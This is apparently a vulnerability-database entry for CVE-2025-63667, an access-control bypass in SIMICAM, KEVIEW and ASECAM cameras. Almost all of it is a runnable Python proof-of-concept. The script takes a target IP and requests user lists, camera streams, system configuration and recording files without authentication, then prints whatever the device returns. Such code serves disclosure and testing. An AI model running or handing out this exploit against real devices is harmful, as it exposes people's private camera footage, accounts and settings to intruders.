CVE-2025-63667 | SIMICAM/KEVIEW/ASECAM 访问控制绕过漏洞

# CVE-2025-63667 PoC - Unauthenticated API Access # Target: SIMICAM, KEVIEW, ASECAM devices # This PoC demonstrates accessing sensitive API endpoints without authentication import requests import sys def exploit(target_ip, target_port=80): base_url = f"http://{target_ip}:{target_port}" # Sensitive API endpoints that should require authentication api_endpoints = [ "/api/device/info", "/api/user/list", "/api/camera/streams", "/api/config/system", "/api/recording/files" ] print(f"[*] Testing CVE-2025-63667 on {target_ip}:{target_port}") print(f"[*] Target: SIMICAM/KEVIEW/ASECAM with incorrect access control\n") for endpoint in api_endpoints: try: url = base_url + endpoint # No authentication headers - exploiting the vulnerability response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f"[+] Status: {response.status_code}") print(f"[+] Response: {response.text[:200]}...\n") else: print(f"[-] Protected: {endpoint} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-63667.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)